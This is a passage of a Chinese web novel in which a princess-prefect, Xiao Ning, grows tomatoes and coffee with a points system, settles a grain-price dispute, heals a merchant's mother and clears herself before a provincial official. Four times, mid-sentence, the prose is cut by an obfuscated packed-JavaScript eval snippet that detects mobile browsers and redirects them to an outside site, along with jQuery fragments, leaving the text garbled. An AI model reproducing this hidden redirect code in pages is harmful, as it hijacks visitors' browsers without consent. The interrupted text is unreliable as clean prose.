他们没有时间精装修,只求能住就行。 只是,盖好之后,他们中的很多人已经没什么钱了,有的甚至欠了不少债。 对于必须的生活用品、家具之类的,他们已经无力购买,便来官府说明情况。 官府虽然也没钱,但不能眼看着他们没法生活,因此便举债为他们赊了一些生活用品和家具。因此,赤字又增加了一万多两。 现在官府账面上的赤字一共是35万多两。 这一个月,萧柠又种熟了三茬番茄,买催熟液消耗了24万积分,现在的剩余积分是76800。 番茄仍是很火爆,种出来的番茄都被十家酒楼买了,一共收入2700两。 其他地方虽然也有人在种番茄,但按照生长周期,他们的番茄都要三四个月才能成熟。目前萧柠的番茄还处于垄断地位。 只是,积分不太够了。 由于萧柠解决了部分百姓的住房问题,系统给了5万积分,现在的积分是126800。 萧柠算了一下,这些积分还够催熟一茬番茄。催熟下一茬后,她决定以后不催熟了,就让那些番茄自然生长好了。 她又花了8万积分,购买了一批营养液,继续催熟番茄。 她去看了自己的咖啡树,咖啡树已经长得很高了,叶子也变成了深绿色,不过还没结果。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147058|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 好在咖啡树旁边种了很多高大的树木,咖啡树被遮住了,从外面看不出来。 萧柠现在盼望着咖啡豆能长出来。 回到官衙后,凌司马道:“大人,新到了一批别的地方流放过来的犯人,您看要怎么处置?” 萧柠想了想,道:“既然容城缺少植被,就让这些犯人去种树吧。认真种树的,奖励美酒佳肴;不认真的,各方面待遇就差一些。” “是,属下这就去安排。” 系统给萧柠5万积分,现在的积分是96800。 这时,有人击鼓鸣冤,萧柠赶紧升堂。 过了一会,几个衣着光鲜、人高马大却鼻青脸肿的男人走了进来。他们互相搀扶着,有的人好像腿受伤了,一瘸一拐的。 到了堂下,有两个男人跪下了,另外几个说自己有伤在身,跪不下去。 萧柠看他们确实伤得挺重的,不像作假,便命人搬来几张凳子给他们坐。 就算是坐着,那几个人也倾斜着身子,显得仪态全无,大概是因为坐正了也会痛吧。 萧柠没跟他们计较,反而觉得他们很可怜。 萧柠问道:“你们是什么人?是何人把你们打成这样的?” “回禀大人,我们是外地来的客商,在容城卖粮食。可是今天,有一群百姓不由分说,把我们包围了,抢走我们的存粮,还把我们给打了。大人,您要替我们做主啊!” 萧柠惊讶:“有这种事?打你们的人是谁?” “我们是外地来的,不认识那些百姓,只记得是在一个叫四平镇的地方被打的,大人往那里去拘捕就行了。我们的米袋都是黑色的,袋口处绣了梅花。谁家有这样的米袋,就一定是打了我们的人。” 萧柠赶紧派衙役去四平镇抓人。 过了一会,衙役们带来五六十人,全是青壮年,被一根长绳绑住了手腕,一长串地进来。 衙役道:“禀大人,我们去了四平镇,查看百姓家中的米袋,发现很多人家都有那种黑色绣梅花的米袋。因此,我们就每家抓了一人,绑在一起。我们抓的都是青壮年,因为考虑到要过堂审讯,青壮年比较吃得消。 其实打客商、抢米袋的远不止这几十家,但公堂地方有限,站不下太多人,所以我们就暂时放过了其他人。反正其他参与者也不可能因为这种小事就逃跑,先让他们在家也没事。” 萧柠点了点头,对那些百姓道:“你们为何要打这些客商,还抢走他们的米粮?如此行为,与强盗何异?” 百姓们纷纷喊冤:“冤枉啊大人,不是我们在抢他们,是他们在抢我们!” “是啊,请大人明察!” 萧柠困惑:“他们抢了你们什么?” “大人,平常这米都买四文钱一斤,可是这些无良客商,竟然卖50文钱一斤,涨了十倍都不止,这不是抢钱是什么?” “是啊,这么贵的米,谁吃得起?我们都快饿死了,只好动手抢了!” “他们高价卖米,已经挣了不少钱了。就算我们把他们的米全部抢走,他们也没亏!” 116. 作画(修) 几个客商反驳道:“这是什么话?我们纵然卖得贵,你们也不该抢我们的!” “是啊,四文钱一斤的粮食,都是多少年前的价格了?你们容城地处边陲,连年战乱,物价早就涨得一塌糊涂了!我们来之前,就听说这里的大米已经卖到35文钱一斤,我们不过是在这个基础上稍微增加一点而已。” “就是,你们抢粮食就抢粮食,打人干什么?我们就算卖得贵,也没有一边收钱一边打顾客吧?” 百姓们纷纷叫嚷:“你们就是该打!无良奸商!” “我可没动手,别赖在我头上!” “说不定是你们自己摔的,反来赖我们!” “就是,分明是你们分赃不均,自己打起来了!” 客商:“你们简直睁着眼睛说瞎话!” “太守大人,您要给我们做主啊!” 见他们吵吵嚷嚷的,萧柠让他们安静。 萧柠已经大致明白前因后果,因此便说道:“几位客商卖高价粮食,令百姓无力购买,确实不太妥当。但百姓因此而打人抢粮食,更是不对。凡是被抢去的粮食,一律还给客商,已经被吃掉的粮食就算了。 他们抢走粮食不久,就算吃,也吃不了太多。至于百姓们殴打客商一事,必须向客商道歉,并赔偿医药费。你们觉得如何?” 没想到,百姓和客商都有意见。 百姓道:“大人,我家已经断粮了,我不能把粮食还回去!” “是啊,我们要不是实在没办法了,怎么会去抢粮食?” “大人,我父母已经饿了两天,我实在不能眼睁睁看他们挨饿啊!” 客商也说道:“大人,他们打了我们,怎么能就这么算了?应该把他们也打一顿才对!” 萧柠想了想,道:“这样吧,每个殴打过客商的百姓,都购买5到10斤粮食,按35文钱一斤的价格购买,剩下的粮食全部还给客商。这样,百姓们有了粮食,而且是以现在市面上的粮价购买的,并未吃亏。 客商们能卖掉一部分粮食,剩下的粮食还在自己手里,也没吃亏,两全其美。至于商人们的医药费,照旧由打人的百姓赔付。” 可是,两边仍是不满。 百姓道:“大人,最开始的时候,粮价4文钱一斤,我们想按照4文钱一斤的价格购买!” “没错,4文钱一斤的话,我能买100斤!” 客商骂道:“4文钱已经是十几年前的价格了,而且持续时间并不长。自从容城开始战乱,粮价就飞涨。你们想用十几年前的价格买现在的粮食?真搞笑!” “就是,四文钱一斤,我们进货都不止这个价格!” 一个年轻人问道:“那你们进货价是多少?” 客商:“这怎么能告诉你?” “你不说就是心里有鬼!” “我就算被鬼上身了也不可能把进价告诉你啊,有病一样。” 萧柠一拍惊堂木,看向那些百姓:“好了,都别吵了。城中粮食的价格是35文钱一斤,你们去找别人买也是这个价格,都一样的。既然你们把客商给打了,买他们一点粮食,作为赔罪,也不过分。家里条件差的,可以少买几斤,就这么定了。” 接着,她看向那些客商:“至于客商们,虽然你们被打,是受害者,但这也是因为你们坐地起价的缘故。打人的百姓太多,如果本官把他们挨个打一遍,会让很多家庭的劳动力暂时没法赚钱,对他们的影响很大。 他们本就是家中的顶梁柱,一天没法干活,家人就要饿一天;十天没法干活,家人就要饿十天。 让他们以购买粮食来赔罪,是比较合适的。而且,又不是不赔你们医药费。你们也别闹了。35文钱的价格,你们也有得挣。 这些百姓买了你们的粮食后,以后你们定什么价格,就由你们自己了,本官也不会硬逼着你们把所有的粮食都按35文一斤的价格出售。” 萧柠的判决其实已经算公平了,这些客商其实也知道自己的价格过高,而且之前对百姓们态度比较差,才招致今日之祸。 他们还能获得医药费,粮食也卖出去一些,已经算可以了。 因此,这些客商和打人的百姓都说道:“我们听大人的。” 萧柠道:“既然如此,退堂吧。” 有几个百姓道:“大人,等一下!我们几家都比较穷,按照35文钱一斤的价格买了几斤粮食后,接下来会没钱买粮食,该怎么办?” “是啊大人,这几个客商来之前,我都买不起城中的粮食。客商们卖得比城中商人还贵,我这才生气打人的。就算他们以后都卖35文钱一斤,我们也买不起。” 萧柠道:“粮食的事,本官会再想办法。你们先回去。” “是。” 众人走后,萧柠问凌长空:“凌司马,容城的常平仓还有粮食吗?” “早就没了,里面倒是有几只死老鼠,饿死的。” “那官田里的粮食呢?” “官田里的粮食也到了该收割的时候,但数量太少,不够全城百姓吃的。” “照这么说,缺粮问题挺严重的……” “是的。” “往年是怎么做的?” “有时候官府从别处收购粮食,或者让百姓用一些杂粮代替主食,或者申请朝廷救济。现在账面上缺钱,如果要买粮食过来,只能靠赊了。我已经派人去附近的州县找过官府、粮商,只能弄到一点点粮食,肯赊给我们的人太少。” 萧柠也有些犯难。 凌长空道:“其实刚才来告状的那几个客商,手里有很多粮。如果他们肯低价出售,百姓们买得起,就能暂时解决粮荒的问题。但他们甚至都不愿意按照市面上的价格出售,反而要坐地起价。让他们低价出售,根本不可能。” 萧柠道:“我来想想办法。” 正好她之前催熟的番茄种子又成熟了,两亩地一共长出八万多个番茄。 她装了六袋番茄,每袋有几十个。 然后,她带着这些番茄,一一拜访了之前被打的那些客商,只说自己种的番茄成熟了,请他们尝尝。 萧柠也没提其他事,这些客商都受宠若惊,纷纷表示感谢。他们留下了番茄,但没好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147059|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意思收礼物,让萧柠把礼物拿回去。 萧柠也没坚持,让他们好好养伤,就把礼物拿了回去。 过了几天,萧柠又带着一些番茄去拜访他们,说是番茄是新鲜水果,吃得快,所以再送他们一些。 这些客商见萧柠频繁送东西来,已经猜到萧柠有事相求,便直接询问。 萧柠对他们说道:“诸位是商人,求的是财,这本无可厚非。但是如今容城许多百姓穷困,买不起粮食,你们就算卖高价也没意义。倒不如降低价格,薄利多销,免得粮食烂在手里,你们觉得呢?” 这些客商道:“大人,原来您是为这事。我们的粮食价格高,但总有人买得起,我们就是卖给那些有钱人的。至于穷人怎么吃饭,不在我们考虑范围内。” “是啊,既然我们卖50文一斤,也能卖出去,那为什么要降价?” “大人,其实我们也有我们的难处,实在是没法降价出售啊。这些番茄请您拿回去吧,官府拿番茄卖点钱,也能救济百姓,我们就不吃了。” 萧柠多番劝说,但这些商人就是不松口。 无奈之下,萧柠只能先回去。 萧柠问系统:“多宝,那几个商人有什么弱点吗?或者说,有什么可以突破的点吗?” “这算查探消息,一万积分一次。一共六个商人,就是6万积分。” “好,你帮我查探吧。” “积分已扣除,现在的积分是36800。查到一个叫范自安的商人,家中有重病的母亲,花了很多钱、吃了很多药都不见好。如果你治好他母亲,他应该会听你的话。” “怎么治好他母亲?” “商城中有回魂丹,六万积分一颗,吃了百病全消。但是你积分不够了。” “好吧。那其他商人呢?有弱点吗?” “暂时没有。” “好吧,那我想办法攒攒积分。” 萧柠想起自己之前跟夸夸群的群友们学过一些锻炼的视频,那些动作既简单,又新奇,她自己也经常练。 如果把这些动作教给百姓的话,应该能涨不少积分。 她决定挑选一些简单的动作,编成画册,发给百姓。 不过,那需要很多纸笔。而且她一个人画不过来,得找人帮忙。 她先找来一张比较大的画纸,在上面画了十个简单的锻炼动作,比如开合跳、左右轮臂、弓步摆臂、马步摇、提膝摆臂等。 每个动作只需要画三四个小人就能介绍清楚。 因此,一张画纸足以画下这十个动作。 画好后,再把画纸对折几次,就成了一个方便携带的小册子。 把这样的小册子发给百姓,不管他们练不练,但宣传的效果是达到了。 她找了几个画师,请他们待在一个房间里,照着她的画纸,画一些一模一样的画册。 这些简笔画都很简单,画师们一天能画很多。 萧柠变卖了一些首饰,自费发工钱给他们。 由于画比较简单,而且这些画师也不算什么有名的画师,所以他们收费不高,萧柠负担得起。 117. 问罪(修) 得知萧柠画这些画册是为了教百姓锻炼,画师们还出了个主意,就是叫自己的学生们也加入,一起作画,作为他们平时的作业。 这些学生都有一定的绘画基础,作这种简单的画不在话下。画得多了,他们还能练习对笔的掌控,让自己的绘画技艺更娴熟,这是学画画的必经之路。 即便不画这些锻炼的小人,学生们也是要画其他东西,并且不停地练习的。 所以,并未加重他们的负担。 而且,还不用额外给学生们付钱。 学生们的画作本来也只能当废纸处理,现在他们得知自己的画可以分给百姓,让很多人看见,他们自己也很有积极性。 画师们还拿出自己库存的笔墨纸砚,不需要萧柠额外去买纸笔。 萧柠想给他们钱,但他们拒绝了:“公主只需支付我们的工费即可。既然是做善事,我们也想出一份力。我们都是当画师的,家里画纸最多,正愁消耗不了,公主就不用替我们心疼了。” “是啊,我们手里都有很多陈年画纸,再不用掉的话,会烂掉的。” “如果有很多百姓因为这些画册受益的话,我们就很开心了。” 萧柠真诚感谢:“多谢诸位。” 没过几天,萧柠就得到了几千张锻炼画册。 她让书吏张贴告示,说是官府免费教大家锻炼,想要的人可以来官府领取锻炼的画册。 很快,这几千份画册都被人领走了。 萧柠获得了3万积分,现在的积分是66800,已经足够购买一颗回魂丹了。 萧柠向系统兑换了一颗回魂丹,积分只剩下6800了。 萧柠对系统道:“积分用得真快。” “你都用在了刀刃上。” “哈哈,谢谢安慰。接下来还要继续赚积分。” “如果你不在商城买东西,就不用积分了。” “可你总是推荐商品给我。” “哈哈,那我推荐便宜的给你。毛线要吗?100积分一个。” “不要!” 萧柠带着回魂丹,来到了商人范自安的住所。 范自安虽然是外地商人,但他无论去哪里,都带着自己的母亲赵氏。 因为他母亲身体不好,他想让母亲看看各地的名医,说不定总有人能治好她。 但是他母亲先天体弱,又生了好几个孩子,身体失于调养,大夫们都说是好不了的,只能用名贵的药材续命而已。 范自安不愿意放弃,到现在也还在到处找名医。 萧柠直接对范自安道:“听闻令堂身体抱恙,本官这里有一粒灵丹妙药,是个道士所赠,凡是食用之人,身体立刻好转。范先生要不要给令堂试试?” 范自安有些心动,但又有些犹豫:“如果真有这样的奇效,那自然很好。但是,家母素来体弱,恐怕别人能吃的药,她不能吃。” 这时,他母亲赵氏已经听见了他们的话,走上前来,道:“老身愿意一试。” 范自安叫道:“娘……” 赵氏道:“自安,你无需担心,太守大人难道还会害人不成吗?我身体一直不好,活着也很遭罪,不如吃下这药。若去了病根,自然皆大欢喜;若是虚不受补,就此死了,我也没有遗憾,你可别怪罪太守大人。” 说着,赵氏就把萧柠手上的药丸接过来,直接服了下去。 范自安很担心,但他看着母亲脸色逐渐红润,佝偻的背也挺直了,连拐杖都不需要拄了。而且,头发似乎开始变黑,看起来年轻了好几岁。 范自安惊讶道:“娘,您这是……好多了?” 赵氏道:“是啊,我也没想到,这药丸果真有奇效……现在我觉得身体各处全都完好无损,从来没这么舒坦过。我这会肚子饿了,先吃点东西。” 说着,赵氏拿起桌上的食物,吃了一些。 范自安很惊喜,因为他母亲胃口一向不佳,有时候吃补药也会吐出来。有些大夫让赵氏多吃点食物,补充营养,可她吃不下去。 没想到,如今她竟胃口大开,犹如年轻人。 范自安赶紧向萧柠拜谢:“太守大人,多谢您……这颗药丸真是太神奇了,不知要多少钱,我按双倍的价格给您。” 萧柠道:“这药丸也是道士相赠,没收钱。如今既然治好了你母亲的病,也算物尽其用,我也不会收你钱的。” “太守大人有什么吩咐,小民一定会照您的吩咐去做。” “那之前提过的,把你的存粮降价出售的事……” “没问题没问题,我手里有十几万斤粮食,有的带过来了,有的在老家。我全部以四文钱一斤的价格出售,让穷人也能吃上饭。在老家的粮食,我马上让家丁们运过来。” “四文钱一斤,你会不会亏本?” “会亏本,但太守大人心系百姓,我也应当尽力救助百姓,才不负太守大人的救母之恩。我这些年也赚了不少钱,这次亏本出售粮食,也只是九牛一毛,影响不了我的。” “那就好。其实,你可以按成本价的两倍出售,这样价格既低,你也不会亏本。” “不,这次我就不想着赚钱了。太守大人为了让百姓吃上粮食,不惜把珍贵的丹药给我母亲吃。我本该将所有存粮白送给您,但是那样会亏损太多,所以象征性地卖四文钱一斤。” “那就好,那我先代容城百姓谢谢你了。” “大人不用客气。这次跟我一起来的其他五个客商,跟我关系很好,我可以劝说他们也卖低价粮食。” “这个不妥,如果他们因为跟你的交情而降价,消耗的是你们的关系。你一个人的存粮就够撑一阵了,其他客商想卖多少钱就卖多少钱吧,商人逐利也是正常的。” “是,那我先把自己的粮食卖掉再说。” 范自安以四文钱一斤的价格出售粮食,百姓们蜂拥而至,买了许多粮食。 还有一些住得远的人,也赶到城中买粮。百姓们都称他是活菩萨,还有人对范自安下跪叩谢。 范自安当了这么多年的商人,还从来没有见过顾客对他如此感恩戴德的。 他的心境也发生了一些变化。 后来,顾客来买粮时,他还顺手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147060|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送些蔬菜、油、醋等物品。 几乎每一个顾客都喜笑颜开、感激涕零。范自安看见他们的模样,也笑得合不拢嘴。 他突然发现,原来亏本也可以亏得这么开心。 范自安的其他几个朋友,见范自安突然降价出售粮食,一开始都有些惊讶和生气。 但他们知道,是因为萧柠医治好了范自安的母亲,范自安才这样做,那几个朋友也就理解了。 他们打算等范自安的粮食卖光之后,再卖自己的粮食。因为就现在的情况来看,他们在价格上肯定是比不过范自安的,只能等范自安没粮了再说,目前先卖点别的。 可是,他们很多次看到顾客们跟范自安有说有笑的,手里拿着沉甸甸的米袋,肩上还背着一箩筐蔬菜,一副很幸福的模样,他们也受到了感染。 于是,没过多久,剩下的五名客商也开始降价出售粮食。 不过,他们不愿意亏本,还是想小赚一笔的,所以把粮价定在了15文钱一斤。 一些比较有钱的百姓,不愿意跟其他人一起去范自安的摊子上挤来挤去,会选择到其他客商那里买贵一些的米。 而本地的粮商,见市场上有大量的低价米,便也开始降价。 差不多所有的粮价都降下来了,老百姓吃饭问题暂时解决了。 系统给了萧柠40万积分,现在的积分是406800。 积分多了,萧柠便又兑换催熟液,催熟了两茬番茄。加上之前的那一茬番茄,一共卖出了5400两。 扣除买催熟液的积分,剩下的积分是246800。 萧柠估计着,咖啡树上的咖啡果应该也快成熟了,打算抽空去看看。 谁知这天,州里的长官找上门来。 容城隶属于青州,一州有十来个城,州里的最高长官是知州。 知州以下,有别驾、长史、司马等官职。 这次来的,就是青州别驾易思贤。 易思贤神情严肃,三角眼,山羊胡,脸颊干瘦,看着很不好说话。 萧柠将他迎进会客厅,问道:“不知易别驾光临,有何要事?” 易思贤哼了一声,道:“公主殿下,听说您偷偷种违禁物品,有这回事吗?” 萧柠吓了一跳:“我只在官田种了一些番茄,番茄是一种蔬菜,健康无害,并非是违禁品。容城许多百姓都吃过番茄,大人您可以向他们求证。” “本官说的并非是番茄,而是一种长在树上的红色果实。那种果实红得不正常,就跟毒蘑菇的颜色似的,一看就不是什么好东西。而且,你还在那棵树周围种上其他高大的树木,用于遮掩,不是心里有鬼是什么?” 萧柠回过神来:“原来您说的是咖啡树啊。您误会了,咖啡果也不是违禁物品,而是跟番茄一样,是从西洋那边引进的。” “如果是正常的食物,你遮遮掩掩的做什么?我看,这东西就跟罂粟一样,会让人上瘾,你好借此牟取暴利。” “大人,冤枉啊。先不说这东西有没有毒性,如果我真的想牟取暴利的话,为何只种一棵树呢?” 118. 吃苦(修) “因为这东西的果实太显眼了,种多了你怕被人发现。” “大人,您也没见过这种树吧?也没喝过咖啡果做的饮料吧?既然如此,您为何如此武断,断定它有害?” “如果这东西无害,你需要自己证明。” “好,下官可以为您证明。只是,究竟是谁把这事举报到州里的?大人可否告知?” 易思贤道:“你不用管是谁举报,管好你自己。” 萧柠知道,易思贤肯定是不会说出举报者的姓名了。 她在心里猜测谁是举报者,莫非是那些看守番茄和咖啡树的士兵或是侍卫? 但这不合理,首先,那些侍卫都是萧柠带来的,应该对萧柠忠心;那些士兵得到任将军的耳提面命,让他们务必听从萧柠的吩咐,那士兵应该也不敢做一些对萧柠不利的事情才对。 其次,如果这群人当中,真的有人想害萧柠,为何不在番茄刚成熟的时候就举报呢?这样,萧柠不仅卖不了咖啡,连番茄也卖不了了。 为何要在萧柠通过番茄得到很多钱之后,再把萧柠给举报了? 这举报的时机也不太合理…… 萧柠忽然想到,会不会是那些流放到容城的犯人举报的?萧柠让他们去种树,他们有机会看见萧柠的咖啡树。 可是,那些犯人都是被严格监管的,又是怎么偷偷溜出去举报的? 而且,他们种树的地点离官田比较远,应该看不见萧柠的咖啡树才对。 萧柠一时间想不到合适的人选,也只能先带易思贤去咖啡树那边,证明咖啡果无害。 她带着易思贤到了咖啡树下,吩咐侍卫摘一些咖啡果下来。 刚成熟的咖啡果是红色的,夸夸群的人教过萧柠如何得到里面的咖啡豆。 需要先把咖啡果的外壳剥开,暴晒一段时间会比较好剥。 但萧柠现在没有那么多时间,她只能用水洗法。 她拿了几十颗咖啡果,在水里洗干净,然后用力挤压一下,让咖啡果的外壳裂开。 接着,她让侍卫们帮忙剥壳。壳剥开后,得到了未经处理的咖啡豆,是偏杏色的。 易思贤离得远远的,看萧柠她们处理咖啡果,他脸上戴了一个面罩,似乎是怕咖啡果的毒气飘到他鼻子里。 从他的行为来看,他应该是真的相信咖啡豆有毒,倒不是故意来没事找事的。 接着,萧柠对易思贤道:“易大人,这些咖啡豆需要浸泡一晚上,等明天剥去第二层外壳,才能使用。” 易思贤有些犹豫:“还要等一晚上?你在搞什么鬼?” “不是我要搞鬼,是因为咖啡豆就是要这样提取,我也没办法。我已经尽量加快流程了。” “好吧,那就再等一天。” 第二天,咖啡豆已经浸泡好了,萧柠让丫环们把第二层外壳剥掉。 接着,她把咖啡豆放在锅里翻炒,炒到咖啡豆颜色变黑,接下来就可以喝了。 易思贤看着锅里的咖啡豆,又兴奋、又害怕地说道:“这什么东西,一炒就变黑了!你还说没有毒?这些豆子刚才分明不是这个颜色!” 萧柠有些无语:“易大人,无论炒什么菜,只要放在锅里炒的时间足够长,都会变黑的。您没见过炒焦过鸡蛋吗?” “废话,本官当然知道炒焦的鸡蛋是什么样子,但那不一样!鸡蛋焦黑是因为炒糊了,而不是因为有毒。你这些豆子,发出的根本不是炒焦的气味,反而有一股奇特的香气……糟了,这香气一定有毒……” 易思贤后退了几步,捂住喉咙,一手指着萧柠:“你……你杀人于无形……” 萧柠气笑了:“我若是用毒气杀人,为何自己不离开现场,而是要留在这里?而且,除了我们二人之外,现场还有这么多丫环和随从呢。难道我也不顾及他们的性命吗?” “这……” 易思贤犹豫了一会,发现自己的身体并没有什么不舒服。相反,他反而觉得咖啡豆炒过之后的气味挺香的。于是,他凑近闻了闻。 忽然,他大叫起来:“不对!这气味有成瘾性!本官才闻了一次,就上瘾了!这东西跟罂粟一样,会危害百姓!” 萧柠真想把他脑袋里的水给摇匀了,免得他继续口出惊人之语。 萧柠解释道:“大人,这就跟花香、果香一样,大家都喜欢闻,难道能说花香、果香是有害的吗?要不这样,我泡一杯咖啡给您喝,您就知道怎么回事了。” 萧柠把咖啡豆磨碎,倒入热水,学着任远志那样,冲泡出一杯咖啡。 她递给易思贤:“大人,您喝一口吧。您也可以找几位大夫来,让他们来判断这咖啡有毒还是无毒。” 易思贤道:“本官不喝,你先喝。” 萧柠倒出了一小杯,喝了下去。 这咖啡气味是真香,但苦也是真苦啊。 见萧柠喝下去没有怎么样,易思贤道:“这也不能证明什么。大烟抽一口也不会死人,但长期抽下去会危害身体健康,也许你的咖啡跟大烟一样。” “大人,您喝一口,就知道它跟大烟绝对不同了。有道是,纸上得来终觉浅,绝知此事要躬行。”【注释1】 易思贤只好勉为其难地喝了一口。 刚喝进去,他就想吐出来,但官员的仪态让他忍住了,他还是咽了下去。 “这什么东西?怎么会这么苦?” “大人,这就是咖啡果所制成的咖啡饮料,它有提神的功效,所以我才想种一棵咖啡树,平时能自己摘咖啡果泡水喝,并没有其他意思。这东西南萧国没有,我怕引起百姓恐慌,所以才用其他树木遮住咖啡树。” “我不信。你种这咖啡果,就是为了喝?” “确实如此。” “这么苦,你不可能喝得下去。” “大人有所不知,我从小就没吃过苦,所以想尝尝苦的饮料。” “……” 易思贤惊呆了,他没想到萧柠会这么说。 过了一会,他说道:“你必须找到人证明这咖啡确实无害,否则本官有权力将你停职。” “请大人给我三天时间,我找找容城内有没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147061|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有认识咖啡的人。” “三天?本官最多只有两天的时间。” “好,那就两天。” 萧柠让人安排好易思贤的饮食起居,接着,她贴出告示,寻找能识得咖啡的人,有重赏。 第二天,有两个西洋人找了过来。 他们识得中原文字,知道太守遇到了麻烦,因此自愿过来作证。 他们是旅行到此的,马上就要离开了。 他们告诉易思贤和萧柠,咖啡确实是西洋国家的常见饮料,很多西洋人爱喝。 咖啡不仅没有毒性,反而提神醒脑、改善情绪、帮助减肥。唯一不好的就是喝太多或是晚上喝容易睡不着。 他们也随身携带了一些咖啡豆,展示给易思贤看,易思贤这才相信。 萧柠松了一口气,向那两个西洋人道谢,并要给他们钱。两个西洋人道:“不用了,尊敬的长官。我们即将离开中原,拿走你们的货币没有用。如果您能赠送一些中原的瓷器给我们的话,我们感激不尽。” 萧柠赶紧命人拿了官窑的碗碟来,赠送给这两个西洋人。两个西洋人朝萧柠鞠躬,然后离开了。 萧柠对易思贤道:“易大人,这下您放心了?” 易思贤的神色有些不自然,大概是因为之前的误会,太尴尬了。 他清了清嗓子,道:“既然是一场误会,自然没事了。不过,容城有新的蔬菜出现,为何不上报给州里?州里也缺钱呢。从今日起,容城官府不许再种植、售卖番茄,所有番茄苗、番茄种子、番茄熟果,全都运到州府去,由州府种植。” 萧柠有些惊讶,但又不敢硬碰硬,只得把番茄交给了易思贤。 好在番茄最赚钱的时期已经快过去了,萧柠该挣的也都挣了,以后不再种番茄损失也不大。 而且,再过一两个月,其他地方的番茄应该也成熟了,形成了竞争,恐怕州府要卖番茄不是那么容易了。 之前种番茄的两亩田空了出来,萧柠让人仍旧种上粮食,这样也能产出更多的粮食给百姓们吃。 只是,许多容城的官员对于易思贤的行为,都有些愤愤不平。 在一次开会的时候,有些下属便为萧柠打抱不平: “公主,这番茄本就是百姓进献给您的,州府那边凭什么抢走?” “就是,州府官员居心不良,先是污蔑您种有害的作物,又拿走了赚钱的番茄种子,此种行为与强盗何异?” “公主,您身份高贵,应该直接给皇上写奏折才是,把青州府官员的无耻行径都写出来,告诉皇上。” 萧柠摇头道:“不妥。本官与皇上虽是父女,但我既然外出做官,我们的关系首先是君臣。作为容城太守,青州的官员是我的长官,我不能越级上告。 而且,他们的所做作为,也不能说十分可恶,就算皇上和朝中官员知道了,也不会予以严惩。我们容城既然受青州管辖,州里有困难,我们出力也是应该的。 州府官员只是拿走番茄的垄断权,并没有直接向我们要钱,对我们来说已经算是幸事了。” 119. 瘟疫(修) “可是,易思贤来容城数日,花费了不少银两,账面上的空缺越来越大了。” “这也没办法,他是州里来的,有讲排场的资格。好在他住了几天就走了,咱们没有太大的损失。接下来,继续想办法赚钱就是了。你们帮我查查,到底是谁向州里泄密,说我在种有毒的作物。” “是。” 底下的官员们查了许久,盘问了所有看守番茄、咖啡树的侍卫和士兵,都没有发现破绽。 这些侍卫和士兵从来没有离开过岗位,也没跟什么可疑人等接触过。 官员们又怀疑被罚去种树的犯人们,可那些犯人种树的地点离咖啡树很远,应该看不到。而且他们都戴着镣铐,连走路都走不远,还一直有士兵看守着,也不具备去州府告黑状的条件。 最终没查出个结果,萧柠只好把这个疑惑暂时搁置。 很快,又到了十个酒楼老板买番茄的日子。 萧柠只能告诉他们,番茄被州府的官员拿走了,以后容城不能种番茄,也不能卖番茄了。 十个老板都非常惊讶,问道:“怎么回事?” “是啊,怎么这么突然?” “那以后我们要去青州府买番茄吗?也不知道他们卖什么价格。” 萧柠也觉得心烦,只能耐着性子说道:“我也没办法,官大一级压死人。希望州府那边别卖太贵吧。不过,据我观察,现在百姓们似乎没有以前那么想吃番茄了?” “是的,这附近的百姓,有能力来我们这些酒楼的,基本都吃过好多次番茄。现在来吃饭时,也不一定点番茄了。我们正想跟大人商议,以后就少定一点番茄,没想到直接订不到了。” 萧柠道:“实在抱歉,各位老板,这事我也是始料未及。不过,我这儿有另一样东西,不知你们会不会感兴趣。” 说着,萧柠就命人端来盘子,盘子上面有十个小杯子,杯子里是调配好的咖啡。 这些咖啡加了牛乳和白糖,口味不错,苦味已经很淡了。 萧柠介绍道:“这种饮品叫咖啡,请各位老板尝尝看。” 几位老板尝了之后,都赞不绝口:“不错不错,这是我喝过的最好喝的饮品。” “如果把这种饮品引进我们酒楼,肯定会大卖的。” “为何只有一小杯?能不能多给一些?” 